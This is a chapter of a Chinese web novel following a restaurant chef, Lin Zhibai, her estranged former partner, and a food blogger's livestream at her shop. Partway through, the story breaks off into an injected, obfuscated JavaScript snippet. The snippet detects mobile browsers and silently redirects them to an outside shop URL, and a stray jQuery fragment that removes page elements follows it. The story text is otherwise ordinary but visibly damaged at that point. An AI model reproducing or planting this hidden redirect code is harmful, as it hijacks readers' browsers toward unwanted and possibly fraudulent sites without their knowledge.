她走了，门在她身后合上。穆行简一个人坐着，看见她那盏桂花茶已经不在有热气，茶汤里浮着细沫。她的位置空了。窗外的风顺着半开的窗进来，把茶面上的沫子吹得微微一晃，像她还坐在那儿。
他抬眼望着窗外，一眼望到总督楼的彩色屋顶，好像看到他和她那时候绕着总督楼慢悠悠的转，那会儿海雾都能飘上山，可是天还是亮堂的很，不像今天，明明该是个黄道吉日，偏偏昏的很。
她的身影出现在楼下，风把她的裙摆吹起来，穆行简看着她的背影。他知道她不会回头，但站在那里看。
没关系，他低头看着自己的手，这双手曾经写了无数的论文，推演了无数的数据模型，缔造过最年轻的权威奖项获得者。
事在人为，他还有一辈子。
走出街口，风吹着树叶打着摆。林知白正要拿出震动的手机，才发现手还攥着，松开之后掌心有几个月牙印。手机里是李书成刚发的消息。
“帮我看看哪个好看，行李箱放不了了。”他发了一张铺满衣服的照片。
林知白看了一眼，没什么心思挑，“中间那个吧。”
李书成一个电话打过来，“林大厨忙完了？要不要去接你？”
林大厨，简简单单的称呼熟悉有力。
听筒里的声音偏薄，可她听着却觉得好像有一股温和的力量慢慢从指尖蔓延开来，“嗯，不用，一会就回去了。”
“过马路，先挂了。”
沿着这条街慢慢走，西府海棠这时候没有花，翠绿的叶间垂着一簇簇绯红海棠果。她目光一寸寸扫过，忽想起北京也有这种海棠，四月份的时候胭脂花苞沁着香，粉白粉白的花浪温柔的要把人溺在那里。可能是因为海风的时常到访，岛城的西府海棠树型更舒展些。北京的不是，那儿的更峭立挺拔些，配着红墙灰瓦，穆行简像误入古代的现代人。真好看啊。
那会儿她闹着给他拍照，他不让，她偏要拍。他把她拉过去，拍下来的几乎全是合照，也就一两张合照前他自己站在花下的照片，照片大概还在之前的手机里。
她深深的呼吸几口，涤荡身体里的浊气。待走到熟悉的街巷，远远的看到四时馆的牌匾，她没走过去，只是站着看了一会儿。
法桐依旧挺立，悬挂着一个个铃铛似的球，四时馆的木匾在视线里被遮掩其中，温和又安静的伫立着。
她走过很多很多天才走到了现在，她是林知白，是四时馆的掌厨。
穆行简在京参与学术交流的实时简讯霸占各大官媒头条的时候，四时馆终于上了新菜。
葱烧海参的灵魂就是炸葱油、葱段。师傅说三分烧七分焖，以浓攻浓，无味的海参要饱饱的吸足葱香高汤的滋味。
王老头刚进门，就听到文姐说售罄的声音。
“那别的？”他着急在队伍后面喊。
“都卖完了，没拿到号牌的客人欢迎下次再来。”
王老头不信邪的等在旁边，就不信前面的这些人没有一个有事情走的，还能挤不出一道菜？等着等着，目光渐渐被食客吸引去，浓稠透亮的芡汁要落不落，连着海参被一口吞下，看着万芳咀嚼的模样，舒服的眯着眼，他好像能想象出软糯肥厚的胶质在自己口中的Q弹口感，带着醇厚葱香缓缓化开，咸鲜回甘……
“诶，口水收收！”王老头下意识抹向自己嘴角，发现没有，怒视说话的人。张老头原本坐在一角，看见好友的模样不由得过来逗逗他。
王老头眼珠一转，搂着张老头一副哥俩好的模样，“哟，老张啊！在这吃饭呢？”说着就跟着张老头去了他的座位，专注的看着刚端上来的葱烧海参和麻婆豆腐。
“老张啊，你怎么不点那个鸡丝炒蜇头啊，那不也是新菜吗？”
“这店主每次换新菜，都是上新一道撤一道，那鱼香茄子煲和蟹粉狮子头都撤了，这不只剩了麻婆豆腐和阳春面，”他捋一捋胡须一脸得色，“老头子我瞧着这麻婆豆腐应该也快了，先吃为敬。”
说罢筷子一伸稳稳的夹住颤巍巍的红亮豆腐块，轻轻晃动便整块轻颤，稳稳的放到嘴里，再扒上一口大米饭，“喷香！”
王老头觉得甚是有理的点点头，不甘示弱的紧随其后，绵软鲜香的黄金葱段一入口，便知道厨师掌控火候的功夫极佳，多一分少一分都不会如此的恰到好处。
“怎么没看见小李？”王老头纳闷道，从开店小李就一直在，今天怎么不在了。
林知白正端着最后一盘菜经过，闻言回了句：“他上学去，大学开学啦。”
王老头看着林知白，眼笑的眯起来，也不管什么开不开学了，“老板诶，要不要每天多卖一些，越来越不好买啦！”
“多不了啦！”林知白学着老人家的语调，“就我一个人掌勺，多了做不过来啦。”
李书成每次开学都很墨迹，这次尤其，像是不放心她一个人，想再留下给她帮几天忙。林知白义正严辞：“我这已经有文姐了，四时馆可以少一个服务生，可未来的医学界不能少一个中流砥柱。”李书成这才罢休。
林知白在家给他做了不少木锤花生酥，叫他带去学校分。这次的花生酥里她多放了一点黑芝麻，李书成很宝贝的把花生酥放到行李箱，“没事，我替他们吃。”
“随你，吃完说一声，还给你寄。”
李书成闷闷嗯了一声，抬眼看她，“那你有什么事情要告诉我。”
“放心，没什么事了。”
林知白闪过回忆，继续和文姐聊天，“书成嘛，很厉害的，他导师很器重他。”
“这么厉害，光看着他就觉得很有文化的。”
文姐又说“最近都开学了，我看着来了不少新面孔，看着都挺年轻，好多老客都说排不到呢。”
店里最近人气越来越高，她午晚市前只处理定量的食材，就导致许多人排不到。林知白想，也许她该招个帮厨。
松雪体的告示一贴，比帮厨先找上门来的是博主。
赵晓包是个十几万粉的探店博主，因为能吃，吸了不少粉。近期在岛城出差，闲暇之余打算开个直播。
“哈喽宝宝们，我是赵晓包，赵晓包的赵，赵晓包的晓，赵晓包的包！记住我，我是赵晓包！”
他一边举着手机直播，一边看着附近的餐馆推荐。
“咱们看看大学城附近藏着什么好吃的小馆子——四时馆？这名字我喜欢，听着就很装，就这家了！”
「去看看！我是附近大学的！听说好吃呢！」
「我也听说过！」<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841624|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“咱们家在岛城读书的不少，咱们去看看，能不能给咱们粉丝宝宝们探出个新店！”
沿着柏油路一路走，赵晓包抹了一把额头上的汗，“快了快了，大家看前面。”
镜头翻转，一条满是三球悬铃木的老街，树冠高大，在道路上空形成拱形的顶，车行其中像过一个天然绿色隧道，四时馆就藏在前面一角。
木质牌匾上的字圆融大气，携松带雪的舒展开，让人眼前一亮。
赵晓包暗道了一声好字，带着直播间的粉丝推开了四时馆的大门。
「哇哇哇，好多人好多人」
「该不会是网红店吧」
「有可能，赵晓包你贪了」
“贪什么贪，”赵晓包翻转屏幕，对准自己，“连助理我都没带。”
排队点单，他和旁边老太太搭话：“大姨，这家菜您有什么推荐吗？”
老太太看了他一眼，胖嘟嘟的小伙子背着个黑色大双肩包，一看就是外地的，指着今日食单道：“都好吃，你看见那个木头牌没有，就这些，都好吃的。”
赵晓包顺着老太太手指方向一看，大吃一惊：“就三个菜啊？”
“那不还有个面呢？”老太太收回手，看他一眼，“你吃了就知道了。”
赵晓包看老太太转回去，又问旁边老大爷：“叔儿啊。”话没说完，老大爷也是同样一个眼神，“你吃了就知道了。”
赵晓包吃了瘪，老老实实的排队，点了三菜一面。
文姐操作收银台的手一顿，提醒道：“我们家菜是配米饭的，菜量也不小，点这些吃不了的。”
“没事，”赵晓包不在意的挥挥手，“我能吃。”他挠挠头，又问：“我需要直播，不会拍到其他客人，可以吗？”
文姐一愣，“我得问问老板。”说罢进去告诉林知白。
林知白掀了帘子出来，打量了面前主播一眼，“可以直播，不要拍到其他客人，不必透露地址，也不用帮我们宣传。”
这要求很奇怪，开门迎客，哪有不需要宣传的菜馆呢？赵晓包看了一眼弹幕，密密麻麻都是和他一样的疑惑，直接问了出来。
「这老板为啥」
「老板竟然是小姐姐，声音好好听」
「好奇怪，这波流量老板都不接」
林知白淡淡道：“我不打算做网红店，店里每天供应是有限的，厨子和食客之间也讲究个缘法，不必刻意宣传。”
文姐在旁边点点头，“确实，现在有些客人每天都排不上了。”
林知白笑笑，“还是欢迎您，吃的开心。”
赵晓包做回座位，摆好支架，和粉丝开始唠嗑，“你们别说，我觉得这店能好吃。”
「为什么」
「我觉得那老板说话很叼」
「哪有不需要宣传的饭馆」
「是呀，酒香也怕巷子深」
“你们别说，这家店没有卖酒水。”
「没有酒？」
「我家开烧烤店的，旺季酒水利润占大头」
「楼上，我家开饭店，酒水的毛利率确实高啊」
“我看着其他桌的菜真是色香味俱全啊，虽然我没尝，但我觉得——真香啊！”赵晓包陶醉的吸了一口气。